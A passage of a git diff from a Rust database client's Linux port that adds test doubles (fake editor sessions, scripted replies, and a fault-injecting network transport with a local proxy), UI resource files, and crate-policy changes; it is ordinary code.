match waited { + Err(DriverError::Timeout { server_cancelled, .. }) => return Ok(RunEnd::TimedOut { server_cancelled }), + Err(DriverError::Cancelled) => return Ok(RunEnd::Cancelled), + Err(other) => return Err(other), + Ok(()) => {} + } + for event in run.events { + if sink.accept(event).await == SinkFlow::ConsumerGone { + return Ok(RunEnd::Cancelled); + } + } + *lock(&self.transaction_state) = run.transaction_state; + run.end + } +} + +/// Puts the session back to Ready however the run ends, including when +/// the caller drops the run halfway. +struct RunningGuard<'a> { + session: &'a FakeEditorSession, +} + +impl Drop for RunningGuard<'_> { + fn drop(&mut self) { + let mut state = lock(&self.session.state); + if *state == EditorSessionState::Running { + *state = EditorSessionState::Ready; + } + } +} + +#[async_trait] +impl EditorSession for FakeEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + *lock(&self.state) + } + + async fn run( + &self, + sql: UserSql, + options: RunOptions, + mut sink: Box, + ) -> Result { + let started = Instant::now(); + let _running = self.begin()?; + lock(&self.texts).push(sql.clone()); + let run = lock(&self.runs).next(Some(sql.as_str())); + let Some(run) = run else { + return Err(DriverError::Protocol( + "FakeEditorSession has no scripted run".to_owned(), + )); + }; + let end = self.play(run, &options, sink.as_mut()).await; + match &end { + Ok(RunEnd::Cancelled | RunEnd::TimedOut { .. }) => { + self.stopped_runs.fetch_add(1, Ordering::SeqCst); + } + Err(error) if error.category() == ErrorCategory::ConnectionLost => { + *lock(&self.state) = EditorSessionState::Lost; + } + _ => {} + } + Ok(RunSummary { + elapsed: started.elapsed(), + end: end?, + transaction_state: *lock(&self.transaction_state), + }) + } + + async fn transaction_state(&self, _options: CallOptions) -> Result { + Ok(*lock(&self.transaction_state)) + } + + async fn close(&self) { + self.closes.fetch_add(1, Ordering::SeqCst); + self.closing.cancel(); + *lock(&self.state) = EditorSessionState::Lost; + if self.closes.load(Ordering::SeqCst) == 1 { + self.close_behaviour.run().await; + } + self.closed.store(true, Ordering::SeqCst); + } +} + +#[cfg(test)] +mod tests { + use std::sync::Arc; + use std::time::Duration; + + use async_trait::async_trait; + use tablepro_core::value::Value; + use tablepro_core::{ResultEvent, RowLimit}; + + use super::*; + + #[derive(Default)] + struct Discard; + + #[async_trait] + impl ResultSink for Discard { + async fn accept(&mut self, _event: ResultEvent) -> SinkFlow { + SinkFlow::Continue + } + } + + fn run_options() -> RunOptions { + RunOptions::new(CancellationToken::new()) + } + + #[tokio::test] + async fn runs_are_recorded_and_leave_their_transaction_state() { + let mut runs = Replies::default(); + runs.when_sql_contains( + "BEGIN", + FakeRun::completed(Vec::new()).leaving(TransactionState::InTransaction), + ) + .always(FakeRun::completed(vec![ResultEvent::Rows(vec![vec![Value::Int(1)]])])); + let session = FakeEditorSession::new(runs); + + let begun = session + .run(UserSql::new("BEGIN"), run_options(), Box::new(Discard)) + .await + .unwrap(); + let selected = session + .run( + UserSql::new("SELECT 1"), + run_options().with_row_limit(RowLimit::EDITOR_DEFAULT), + Box::new(Discard), + ) + .await + .unwrap(); + + assert_eq!(begun.transaction_state, TransactionState::InTransaction); + assert_eq!(selected.end, RunEnd::Completed); + assert_eq!(session.texts(), vec![UserSql::new("BEGIN"), UserSql::new("SELECT 1")]); + assert_eq!(session.state(), EditorSessionState::Ready); + } + + #[tokio::test(start_paused = true)] + async fn a_second_run_while_one_is_running_is_busy_and_cancel_is_observed() { + let mut runs = Replies::default(); + runs.always(FakeRun::until_stopped()); + let session = Arc::new(FakeEditorSession::new(runs)); + let cancel = CancellationToken::new(); + let first = { + let session = session.clone(); + let options = RunOptions::new(cancel.clone()); + tokio::spawn(async move { + session + .run(UserSql::new("SELECT pg_sleep(60)"), options, Box::new(Discard)) + .await + }) + }; + tokio::time::sleep(Duration::from_millis(10)).await; + + let second = session + .run(UserSql::new("SELECT 1"), run_options(), Box::new(Discard)) + .await; + cancel.cancel(); + let first = first.await.unwrap().unwrap(); + + assert!(matches!(second, Err(DriverError::EditorSessionBusy))); + assert_eq!(first.end, RunEnd::Cancelled); + assert_eq!(session.stopped_runs(), 1); + assert_eq!(session.state(), EditorSessionState::Ready); + } + + #[tokio::test] + async fn a_lost_connection_leaves_the_session_lost() { + let mut runs = Replies::default(); + runs.always(FakeRun::session_error(DriverError::ConnectionLost { + during: LossPhase::Statement, + })); + let session = FakeEditorSession::new(runs); + + let lost = session + .run(UserSql::new("SELECT 1"), run_options(), Box::new(Discard)) + .await; + let after = session + .run(UserSql::new("SELECT 1"), run_options(), Box::new(Discard)) + .await; + + assert!(matches!(lost, Err(DriverError::ConnectionLost { .. }))); + assert!(matches!( + after, + Err(DriverError::ConnectionLost { + during: LossPhase::Idle + }) + )); + assert_eq!(session.state(), EditorSessionState::Lost); + } + + #[tokio::test(start_paused = true)] + async fn a_delayed_close_sets_the_closed_flag_only_when_it_finishes() { + let session = Arc::new(FakeEditorSession::with_close( + Replies::default(), + CloseBehaviour::Delay(Duration::from_millis(100)), + )); + let closing = { + let session = session.clone(); + tokio::spawn(async move { session.close().await }) + }; + tokio::time::sleep(Duration::from_millis(50)).await; + assert!(!session.is_closed()); + + closing.await.unwrap(); + session.close().await; + + assert!(session.is_closed()); + assert_eq!(session.close_count(), 2); + assert_eq!(session.state(), EditorSessionState::Lost); + } +} diff --git a/linux/crates/test-support/src/fake_reply.rs b/linux/crates/test-support/src/fake_reply.rs new file mode 100644 index 0000000000..05fd19f656 --- /dev/null +++ b/linux/crates/test-support/src/fake_reply.rs @@ -0,0 +1,98 @@ +use std::time::Duration; + +use tablepro_core::{DriverError, TimeoutPhase}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +/// How a fake answers one call. +/// +/// The variants differ in how they treat the call's deadline and +/// cancel, because that is what a conformance case tells apart: a +/// driver that honours them and one that does not. +#[derive(Debug, Clone)] +pub enum FakeReply { + /// Answer at once. + Ready(Result), + /// Answer after `after`, unless the call's deadline or cancel comes + /// first, the way a conforming driver stops. + Bounded { + after: Duration, + outcome: Result, + }, + /// Answer after `after` whatever the call asked for, the way a + /// driver that ignores its deadline and cancel behaves. + Late { + after: Duration, + outcome: Result, + }, + /// Never answer on its own: only the call's deadline or cancel ends + /// it, the way a statement the server never finishes behaves. + UntilStopped, + /// Never answer at all. + Hang, +} + +impl FakeReply { + pub fn ok(value: T) -> Self { + Self::Ready(Ok(value)) + } + + pub fn err(error: DriverError) -> Self { + Self::Ready(Err(error)) + } + + pub(crate) async fn resolve(self, stop: &Stop<'_>) -> Result { + match self { + Self::Ready(outcome) => outcome, + Self::Bounded { after, outcome } => { + stop.wait(Some(after)).await?; + outcome + } + Self::Late { after, outcome } => { + tokio::time::sleep(after).await; + outcome + } + Self::UntilStopped => { + stop.wait(None).await?; + Err(DriverError::Protocol("an unbounded fake call finished".to_owned())) + } + Self::Hang => std::future::pending().await, + } + } +} + +/// What can end a call early. +pub(crate) struct Stop<'a> { + pub(crate) deadline: Option, + pub(crate) cancel: &'a CancellationToken, + pub(crate) closed: &'a CancellationToken, + pub(crate) phase: TimeoutPhase, +} + +impl Stop<'_> { + /// Wait `after`, or forever when it is `None`, giving up with the + /// error a conforming driver reports when the call is stopped first. + pub(crate) async fn wait(&self, after: Option) -> Result<(), DriverError> { + let work = async { + match after { + Some(after) => tokio::time::sleep(after).await, + None => std::future::pending().await, + } + }; + let deadline = async { + match self.deadline { + Some(deadline) => tokio::time::sleep_until(deadline).await, + None => std::future::pending().await, + } + }; + tokio::select! { + () = work => Ok(()), + () = deadline => Err(DriverError::Timeout { + phase: self.phase, + server_cancelled: true, + }), + () = self.cancel.cancelled() => Err(DriverError::Cancelled), + () = self.closed.cancelled() => Err(DriverError::Cancelled), + } + } +} diff --git a/linux/crates/test-support/src/fake_run.rs b/linux/crates/test-support/src/fake_run.rs new file mode 100644 index 0000000000..ddc11e6228 --- /dev/null +++ b/linux/crates/test-support/src/fake_run.rs @@ -0,0 +1,73 @@ +use std::time::Duration; + +use tablepro_core::{DriverError, ResultEvent, RunEnd, TransactionState}; + +/// How long a scripted run takes before it sends its events. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum RunWait { + None, + /// Takes this long unless the run is stopped first. + For(Duration), + /// Only a cancel or the run's deadline ends it. + UntilStopped, +} + +/// One scripted run of a `FakeEditorSession`. +#[derive(Debug, Clone)] +pub struct FakeRun { + pub events: Vec, + pub wait: RunWait, + /// `Err` is the session itself failing, which `run` returns as an + /// error; `Ok` is how the statements ended. + pub end: Result, + pub transaction_state: TransactionState, +} + +impl FakeRun { + pub fn completed(events: Vec) -> Self { + Self { + events, + wait: RunWait::None, + end: Ok(RunEnd::Completed), + transaction_state: TransactionState::Idle, + } + } + + /// A statement the server refused, which the results list shows. + pub fn failed(error: DriverError) -> Self { + Self { + end: Ok(RunEnd::Failed(error)), + ..Self::completed(Vec::new()) + } + } + + /// The session failing, such as `EditorSessionBusy` or a lost + /// connection. + pub fn session_error(error: DriverError) -> Self { + Self { + end: Err(error), + ..Self::completed(Vec::new()) + } + } + + pub fn until_stopped() -> Self { + Self { + wait: RunWait::UntilStopped, + ..Self::completed(Vec::new()) + } + } + + pub fn taking(self, duration: Duration) -> Self { + Self { + wait: RunWait::For(duration), + ..self + } + } + + pub fn leaving(self, transaction_state: TransactionState) -> Self { + Self { + transaction_state, + ..self + } + } +} diff --git a/linux/crates/test-support/src/fault/fault_state.rs b/linux/crates/test-support/src/fault/fault_state.rs new file mode 100644 index 0000000000..25b09fafe1 --- /dev/null +++ b/linux/crates/test-support/src/fault/fault_state.rs @@ -0,0 +1,50 @@ +use std::sync::Mutex; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; + +use crate::lock; + +/// The faults every stream of one `FaultTransport` shares, so a fault +/// set after a stream was opened still reaches it. +#[derive(Debug, Default)] +pub(super) struct FaultState { + black_holed: AtomicBool, + stall_pattern: Mutex>>, + stalls: AtomicUsize, +} + +impl FaultState { + pub(super) fn black_hole(&self) { + self.black_holed.store(true, Ordering::SeqCst); + } + + pub(super) fn is_black_holed(&self) -> bool { + self.black_holed.load(Ordering::SeqCst) + } + + pub(super) fn arm_stall(&self, pattern: Vec) { + *lock(&self.stall_pattern) = Some(pattern); + } + + pub(super) fn stall_pattern_len(&self) -> Option { + lock(&self.stall_pattern).as_ref().map(Vec::len) + } + + /// Whether `written` holds the armed pattern. The first stream to + /// write it takes the stall, so a later connection that writes the + /// same bytes, such as the one resolving the commit, still works. + pub(super) fn take_stall(&self, written: &[u8]) -> bool { + let mut armed = lock(&self.stall_pattern); + let found = armed.as_deref().is_some_and(|pattern| { + !pattern.is_empty() && written.windows(pattern.len()).any(|window| window == pattern) + }); + if found { + *armed = None; + self.stalls.fetch_add(1, Ordering::SeqCst); + } + found + } + + pub(super) fn stalls(&self) -> usize { + self.stalls.load(Ordering::SeqCst) + } +} diff --git a/linux/crates/test-support/src/fault/fault_stream.rs b/linux/crates/test-support/src/fault/fault_stream.rs new file mode 100644 index 0000000000..3bf1e42e1a --- /dev/null +++ b/linux/crates/test-support/src/fault/fault_stream.rs @@ -0,0 +1,87 @@ +use std::io; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +use tablepro_core::TransportStream; +use tokio::io::{AsyncRead, AsyncWrite, ReadBuf}; + +use super::fault_state::FaultState; + +/// One stream through a `FaultTransport`. +/// +/// A black hole is what a dropped route looks like from the client: +/// writes are accepted and go nowhere, and reads never complete. Nothing +/// closes the socket, so only the driver's own deadlines can notice. +pub(super) struct FaultStream { + inner: Box, + state: Arc, + reads_stalled: bool, + written_tail: Vec, +} + +impl FaultStream { + pub(super) fn new(inner: Box, state: Arc) -> Self { + Self { + inner, + state, + reads_stalled: false, + written_tail: Vec::new(), + } + } + + /// Look for the armed pattern in what was just written, including + /// across the boundary with the previous write, since a driver may + /// split one message over several writes. + fn watch_written(&mut self, written: &[u8]) { + let Some(pattern_len) = self.state.stall_pattern_len() else { + self.written_tail.clear(); + return; + }; + self.written_tail.extend_from_slice(written); + if self.state.take_stall(&self.written_tail) { + self.reads_stalled = true; + } + let keep = pattern_len.saturating_sub(1); + let excess = self.written_tail.len().saturating_sub(keep); + self.written_tail.drain(..excess); + } +} + +impl AsyncRead for FaultStream { + fn poll_read(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &mut ReadBuf<'_>) -> Poll> { + if self.reads_stalled || self.state.is_black_holed() { + return Poll::Pending; + } + Pin::new(&mut self.inner).poll_read(cx, buf) + } +} + +impl AsyncWrite for FaultStream { + fn poll_write(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &[u8]) -> Poll> { + if self.state.is_black_holed() { + return Poll::Ready(Ok(buf.len())); + } + let written = Pin::new(&mut self.inner).poll_write(cx, buf); + if let Poll::Ready(Ok(count)) = &written + && let Some(bytes) = buf.get(..*count) + { + self.watch_written(bytes); + } + written + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if self.state.is_black_holed() { + return Poll::Ready(Ok(())); + } + Pin::new(&mut self.inner).poll_flush(cx) + } + + fn poll_shutdown(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + if self.state.is_black_holed() { + return Poll::Ready(Ok(())); + } + Pin::new(&mut self.inner).poll_shutdown(cx) + } +} diff --git a/linux/crates/test-support/src/fault/fault_transport.rs b/linux/crates/test-support/src/fault/fault_transport.rs new file mode 100644 index 0000000000..3ed6414e17 --- /dev/null +++ b/linux/crates/test-support/src/fault/fault_transport.rs @@ -0,0 +1,243 @@ +use std::io; +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ + LivenessPolicy, NetworkEndpoint, TimeoutPhase, Transport, TransportError, TransportKind, TransportRoute, + TransportStream, +}; +use tablepro_net::DirectTcpTransport; + +use super::fault_state::FaultState; +use super::fault_stream::FaultStream; +use super::route_proxy::RouteProxy; + +/// A transport that can lose its route on demand, for tests of what a +/// driver does when the network goes quiet. +/// +/// Streams from `open()` carry the faults directly. `route()` points at +/// a private proxy socket that relays through the same faults, for +/// engines whose client library dials the route itself. +#[derive(Debug)] +pub struct FaultTransport { + dialer: Arc, + proxy: RouteProxy, +} + +impl FaultTransport { + /// Wrap `inner`. It needs a running tokio runtime, because the route + /// proxy listens from the moment the transport exists. + pub fn new(inner: Arc, liveness: &LivenessPolicy) -> io::Result { + Self::sharing(inner, Arc::new(FaultState::default()), liveness.connect_timeout) + } + + /// A direct TCP route to `endpoint`, the way the app dials a server + /// without SSH. + pub fn direct(endpoint: NetworkEndpoint, liveness: &LivenessPolicy) -> io::Result { + Self::new(Arc::new(DirectTcpTransport::new(endpoint, liveness)), liveness) + } + + fn sharing(inner: Arc, state: Arc, connect_timeout: Duration) -> io::Result { + let dialer = Arc::new(FaultDialer { + inner, + state, + connect_timeout, + }); + let proxy = RouteProxy::start(dialer.clone())?; + Ok(Self { dialer, proxy }) + } + + /// From now on nothing gets through: open streams stop answering and + /// accept writes into nothing, and a new dial times out after the + /// connect timeout, as it would against a dropped route. + pub fn black_hole(&self) { + self.dialer.state.black_hole(); + } + + pub fn is_black_holed(&self) -> bool { + self.dialer.state.is_black_holed() + } + + /// Stall reads on the first stream that writes `pattern`, from that + /// write on. The stream's writes still go through, so the server + /// gets the request and its answer is what goes missing. + /// + /// The pattern is matched against bytes on the wire, so it only + /// finds plaintext. + pub fn stall_reads_after_write_containing(&self, pattern: impl Into>) { + self.dialer.state.arm_stall(pattern.into()); + } + + /// How many streams have had their reads stalled. + pub fn stalls_triggered(&self) -> usize { + self.dialer.state.stalls() + } +} + +#[async_trait] +impl Transport for FaultTransport { + fn service_endpoint(&self) -> &NetworkEndpoint { + self.dialer.inner.service_endpoint() + } + + fn kind(&self) -> TransportKind { + self.dialer.inner.kind() + } + + fn route(&self) -> TransportRoute { + TransportRoute::UnixSocket(self.proxy.path().to_owned()) + } + + async fn open(&self) -> Result, TransportError> { + self.dialer.open().await + } + + async fn reroute(&self, endpoint: NetworkEndpoint) -> Result, TransportError> { + let inner = self.dialer.inner.reroute(endpoint.clone()).await?; + let rerouted = + Self::sharing(inner, self.dialer.state.clone(), self.dialer.connect_timeout).map_err(|error| { + TransportError::Unreachable { + endpoint, + detail: error.to_string(), + } + })?; + Ok(Arc::new(rerouted)) + } + + async fn explain_closed_stream(&self) -> Option { + self.dialer.inner.explain_closed_stream().await + } +} + +/// What both `open()` and the route proxy dial through. +#[derive(Debug)] +pub(super) struct FaultDialer { + inner: Arc, + state: Arc, + connect_timeout: Duration, +} + +impl FaultDialer { + pub(super) async fn open(&self) -> Result, TransportError> { + if self.state.is_black_holed() { + tokio::time::sleep(self.connect_timeout).await; + return Err(TransportError::Timeout { + phase: TimeoutPhase::Connect, + }); + } + let stream = self.inner.open().await?; + Ok(Box::new(FaultStream::new(stream, self.state.clone()))) + } +} + +#[cfg(test)] +mod tests { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + use tokio::net::{TcpListener, UnixStream}; + use tokio::time::Instant; + + use super::*; + + const QUIET: Duration = Duration::from_millis(200); + + /// A loopback server that echoes every byte back. + async fn echo_server() -> NetworkEndpoint { + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + tokio::spawn(async move { + while let Ok((mut stream, _)) = listener.accept().await { + tokio::spawn(async move { + let (mut reader, mut writer) = stream.split(); + let _ = tokio::io::copy(&mut reader, &mut writer).await; + }); + } + }); + NetworkEndpoint::new("127.0.0.1", port).unwrap() + } + + async fn echoes(stream: &mut S, message: &[u8]) -> bool { + stream.write_all(message).await.unwrap(); + let mut reply = vec![0_u8; message.len()]; + matches!( + tokio::time::timeout(QUIET, stream.read_exact(&mut reply)).await, + Ok(Ok(_)) if reply == message + ) + } + + #[tokio::test] + async fn an_open_stream_goes_quiet_once_black_holed() { + let transport = FaultTransport::direct(echo_server().await, &LivenessPolicy::DESKTOP).unwrap(); + let mut stream = transport.open().await.unwrap(); + assert!(echoes(&mut stream, b"before").await); + + transport.black_hole(); + + assert!(transport.is_black_holed()); + assert!(!echoes(&mut stream, b"after").await, "a black-holed stream answered"); + } + + #[tokio::test] + async fn the_route_proxy_relays_and_carries_the_black_hole() { + let transport = FaultTransport::direct(echo_server().await, &LivenessPolicy::DESKTOP).unwrap(); + let TransportRoute::UnixSocket(path) = transport.route() else { + panic!("the route is not the proxy socket"); + }; + let mut relayed = UnixStream::connect(&path).await.unwrap(); + assert!(echoes(&mut relayed, b"through the proxy").await); + + transport.black_hole(); + + assert!( + !echoes(&mut relayed, b"after").await, + "the proxy relayed through a black hole" + ); + } + + #[tokio::test] + async fn only_the_stream_that_wrote_the_pattern_stops_reading() { + let transport = FaultTransport::direct(echo_server().await, &LivenessPolicy::DESKTOP).unwrap(); + let mut committing = transport.open().await.unwrap(); + let mut resolving = transport.open().await.unwrap(); + transport.stall_reads_after_write_containing("COMMIT"); + + assert!( + echoes(&mut committing, b"COM").await, + "half the pattern stalled the stream" + ); + assert!( + !echoes(&mut committing, b"MIT;").await, + "the split pattern was not seen" + ); + assert!( + echoes(&mut resolving, b"COMMIT; SELECT status").await, + "the stall was not one-shot" + ); + assert_eq!(transport.stalls_triggered(), 1); + } + + #[tokio::test(start_paused = true)] + async fn a_dial_after_the_black_hole_times_out_at_the_connect_timeout() { + let endpoint = NetworkEndpoint::new("127.0.0.1", 9).unwrap(); + let transport = FaultTransport::direct(endpoint, &LivenessPolicy::DESKTOP).unwrap(); + transport.black_hole(); + + let started = Instant::now(); + let outcome = transport.open().await; + + assert!(matches!( + outcome, + Err(TransportError::Timeout { + phase: TimeoutPhase::Connect + }) + )); + assert_eq!(started.elapsed(), LivenessPolicy::DESKTOP.connect_timeout); + } + + #[test] + fn a_fault_transport_needs_a_runtime_rather_than_panicking() { + let endpoint = NetworkEndpoint::new("127.0.0.1", 9).unwrap(); + + assert!(FaultTransport::direct(endpoint, &LivenessPolicy::DESKTOP).is_err()); + } +} diff --git a/linux/crates/test-support/src/fault/mod.rs b/linux/crates/test-support/src/fault/mod.rs new file mode 100644 index 0000000000..0cc2173d90 --- /dev/null +++ b/linux/crates/test-support/src/fault/mod.rs @@ -0,0 +1,6 @@ +mod fault_state; +mod fault_stream; +mod fault_transport; +mod route_proxy; + +pub use fault_transport::FaultTransport; diff --git a/linux/crates/test-support/src/fault/route_proxy.rs b/linux/crates/test-support/src/fault/route_proxy.rs new file mode 100644 index 0000000000..7208b9e4ba --- /dev/null +++ b/linux/crates/test-support/src/fault/route_proxy.rs @@ -0,0 +1,74 @@ +use std::io; +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +use tempfile::TempDir; +use tokio::net::{UnixListener, UnixStream}; +use tokio_util::sync::CancellationToken; + +use super::fault_transport::FaultDialer; + +/// A private Unix socket that relays each connection through the +/// transport's faults. +/// +/// An engine whose client library dials `Transport::route()` itself +/// never calls `open()`, so the faults have to sit on the route instead. +#[derive(Debug)] +pub(super) struct RouteProxy { + path: PathBuf, + stop: CancellationToken, + _dir: TempDir, +} + +impl RouteProxy { + pub(super) fn start(dialer: Arc) -> io::Result { + if tokio::runtime::Handle::try_current().is_err() { + return Err(io::Error::other("a FaultTransport needs a running tokio runtime")); + } + let dir = tempfile::tempdir()?; + let path = dir.path().join("route.sock"); + let listener = UnixListener::bind(&path)?; + let stop = CancellationToken::new(); + tokio::spawn(accept(listener, dialer, stop.clone())); + Ok(Self { path, stop, _dir: dir }) + } + + pub(super) fn path(&self) -> &Path { + &self.path + } +} + +impl Drop for RouteProxy { + fn drop(&mut self) { + self.stop.cancel(); + } +} + +async fn accept(listener: UnixListener, dialer: Arc, stop: CancellationToken) { + loop { + let accepted = tokio::select! { + () = stop.cancelled() => return, + accepted = listener.accept() => accepted, + }; + let Ok((client, _)) = accepted else { + return; + }; + tokio::spawn(relay(client, dialer.clone(), stop.clone())); + } +} + +async fn relay(mut client: UnixStream, dialer: Arc, stop: CancellationToken) { + let upstream = tokio::select! { + () = stop.cancelled() => return, + opened = dialer.open() => opened, + }; + // A failed dial closes the client's side, which is how a refused + // connection reaches a client that dialled the route itself. + let Ok(mut upstream) = upstream else { + return; + }; + tokio::select! { + () = stop.cancelled() => {} + _ = tokio::io::copy_bidirectional(&mut client, &mut upstream) => {} + } +} diff --git a/linux/crates/test-support/src/lib.rs b/linux/crates/test-support/src/lib.rs index 0764e928bb..e5b770ba83 100644 --- a/linux/crates/test-support/src/lib.rs +++ b/linux/crates/test-support/src/lib.rs @@ -1,20 +1,39 @@ +//! Test doubles for the driver contract, shared by every crate's tests. +//! +//! The fakes keep the contract's own rules (deadlines, cancels, a lost +//! link, one run at a time) so code under test sees what a real driver +//! would do, and `conformance` holds the suites every driver runs. + use std::sync::{Mutex, MutexGuard, PoisonError}; mod call_counters; mod close_behaviour; +pub mod conformance; mod connection_script; mod fake_connection; +mod fake_dialect; mod fake_driver; +mod fake_editor_session; mod fake_prompter; +mod fake_reply; +mod fake_run; mod fake_secret_vault; +mod fault; +mod replies; pub use call_counters::CallCounters; pub use close_behaviour::CloseBehaviour; pub use connection_script::ConnectionScript; pub use fake_connection::FakeConnection; +pub use fake_dialect::FakeDialect; pub use fake_driver::FakeDriver; +pub use fake_editor_session::FakeEditorSession; pub use fake_prompter::FakePrompter; +pub use fake_reply::FakeReply; +pub use fake_run::{FakeRun, RunWait}; pub use fake_secret_vault::{Call, FakeSecretVault}; +pub use fault::FaultTransport; +pub use replies::Replies; fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { mutex.lock().unwrap_or_else(PoisonError::into_inner) diff --git a/linux/crates/test-support/src/replies.rs b/linux/crates/test-support/src/replies.rs new file mode 100644 index 0000000000..4de7b823ab --- /dev/null +++ b/linux/crates/test-support/src/replies.rs @@ -0,0 +1,94 @@ +use std::collections::VecDeque; +use std::fmt; + +/// The scripted answers to one kind of call. +/// +/// Calls that run concurrently arrive in no fixed order, so an answer +/// can also be tied to the SQL it is for rather than to its turn. +#[derive(Clone)] +pub struct Replies { + matching: Vec<(String, R)>, + queue: VecDeque, + otherwise: Option, +} + +impl Replies { + /// Answer the next call with `reply`, once, after the answers + /// already queued. + pub fn once(&mut self, reply: R) -> &mut Self { + self.queue.push_back(reply); + self + } + + /// Answer every call with `reply` once the queue is empty. + pub fn always(&mut self, reply: R) -> &mut Self { + self.otherwise = Some(reply); + self + } + + /// Answer every call whose SQL contains `fragment` with `reply`, + /// before the queue is consulted. The first matching rule wins. + pub fn when_sql_contains(&mut self, fragment: impl Into, reply: R) -> &mut Self { + self.matching.push((fragment.into(), reply)); + self + } + + pub(crate) fn next(&mut self, sql: Option<&str>) -> Option { + let matched = sql.and_then(|sql| { + self.matching + .iter() + .find(|(fragment, _)| sql.contains(fragment.as_str())) + .map(|(_, reply)| reply.clone()) + }); + matched + .or_else(|| self.queue.pop_front()) + .or_else(|| self.otherwise.clone()) + } +} + +impl Default for Replies { + fn default() -> Self { + Self { + matching: Vec::new(), + queue: VecDeque::new(), + otherwise: None, + } + } +} + +impl fmt::Debug for Replies { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Replies") + .field( + "matching", + &self.matching.iter().map(|(fragment, _)| fragment).collect::>(), + ) + .field("queued", &self.queue.len()) + .field("otherwise", &self.otherwise.is_some()) + .finish() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn sql_rules_win_then_the_queue_then_the_fallback() { + let mut replies = Replies::default(); + replies.once(1).once(2).always(9).when_sql_contains("SLEEP", 7); + + assert_eq!(replies.next(Some("SELECT SLEEP(3)")), Some(7)); + assert_eq!(replies.next(Some("SELECT 1")), Some(1)); + assert_eq!(replies.next(None), Some(2)); + assert_eq!(replies.next(None), Some(9)); + assert_eq!(replies.next(Some("SELECT SLEEP(3)")), Some(7), "a rule is not used up"); + } + + #[test] + fn an_unscripted_call_has_no_answer() { + let mut replies = Replies::::default(); + + assert_eq!(replies.next(Some("SELECT 1")), None); + } +} diff --git a/linux/data/resources/resources.gresource.xml b/linux/data/resources/resources.gresource.xml index 768a840377..7d4ea4131a 100644 --- a/linux/data/resources/resources.gresource.xml +++ b/linux/data/resources/resources.gresource.xml @@ -3,7 +3,13 @@ style.css shortcuts-dialog.ui + ui/connect-dialog.ui ui/preferences-dialog.ui + ui/results-pane.ui + ui/sql-editor.ui + ui/sqlite-file-row.ui + ui/ssh-section.ui + ui/tls-section.ui icons/scalable/actions/table-relation-symbolic.svg icons/scalable/actions/statement-pending-symbolic.svg diff --git a/linux/data/resources/ui/connect-dialog.ui b/linux/data/resources/ui/connect-dialog.ui new file mode 100644 index 0000000000..8f0e96b0cc --- /dev/null +++ b/linux/data/resources/ui/connect-dialog.ui @@ -0,0 +1,131 @@ + + + + + + diff --git a/linux/data/resources/ui/results-pane.ui b/linux/data/resources/ui/results-pane.ui new file mode 100644 index 0000000000..ab1729ea5e --- /dev/null +++ b/linux/data/resources/ui/results-pane.ui @@ -0,0 +1,103 @@ + + + + + + diff --git a/linux/data/resources/ui/sql-editor.ui b/linux/data/resources/ui/sql-editor.ui new file mode 100644 index 0000000000..0c2e8edde0 --- /dev/null +++ b/linux/data/resources/ui/sql-editor.ui @@ -0,0 +1,115 @@ + + + + + + +
+ + Open SQL File… + editor.open-file + + + Save Query… + win.save-query + + + Format + editor.format + +
+
+ +
diff --git a/linux/data/resources/ui/sqlite-file-row.ui b/linux/data/resources/ui/sqlite-file-row.ui new file mode 100644 index 0000000000..39077b431a --- /dev/null +++ b/linux/data/resources/ui/sqlite-file-row.ui @@ -0,0 +1,24 @@ + + + + + + diff --git a/linux/data/resources/ui/ssh-section.ui b/linux/data/resources/ui/ssh-section.ui new file mode 100644 index 0000000000..257181d29d --- /dev/null +++ b/linux/data/resources/ui/ssh-section.ui @@ -0,0 +1,79 @@ + + + + + + diff --git a/linux/data/resources/ui/tls-section.ui b/linux/data/resources/ui/tls-section.ui new file mode 100644 index 0000000000..5d7fc1b5d8 --- /dev/null +++ b/linux/data/resources/ui/tls-section.ui @@ -0,0 +1,106 @@ + + + + + + diff --git a/linux/deny.toml b/linux/deny.toml index d064bc8af4..71f500a2e0 100644 --- a/linux/deny.toml +++ b/linux/deny.toml @@ -46,13 +46,14 @@ deny = [ { crate = "rustls:<0.23", reason = "rustls before 0.23 has no pluggable provider and carries fixed advisories" }, { crate = "rustls-pemfile", reason = "unmaintained; rustls-pki-types parses PEM" }, { crate = "bigdecimal", reason = "decimals use tablepro_core::value::SqlDecimal" }, + { crate = "rust_decimal", reason = "decimals use tablepro_core::value::SqlDecimal; rust_decimal stops at 28 digits and has no NaN or infinity" }, { crate = "backoff", reason = "unmaintained" }, { crate = "instant", reason = "unmaintained" }, - { crate = "tablepro-test-fixtures", wrappers = ["tablepro-driver-postgres"], reason = "container fixtures are a dev-only leaf; extend the wrappers with each new dependent" }, + { crate = "tablepro-test-fixtures", wrappers = ["tablepro-driver-clickhouse", "tablepro-driver-mssql", "tablepro-driver-mysql", "tablepro-driver-postgres"], reason = "container fixtures are a dev-only leaf; extend the wrappers with each new dependent" }, { crate = "libsqlite3-sys", deny-multiple-versions = true, reason = "two SQLite builds in one binary conflict" }, ] [sources] unknown-registry = "deny" unknown-git = "deny" -allow-git = ["https://github.com/tiberius-rs/tiberius"] +allow-git = [] diff --git a/linux/docs/testing.md b/linux/docs/testing.md index 3312251f9d..90ef0d7f67 100644 --- a/linux/docs/testing.md +++ b/linux/docs/testing.md @@ -6,8 +6,9 @@ Three layers, three tools. Each crate's test policy follows from its position in |---|---|---|---| | `core` | Pure traits + types | Unit tests in `src/`, table-driven for type mappers | Yes | | `storage` | Filesystem + libsecret + GSchema | Unit tests + integration tests with `tempfile` | Yes | -| `drivers/` | Real engines | Unit tests + 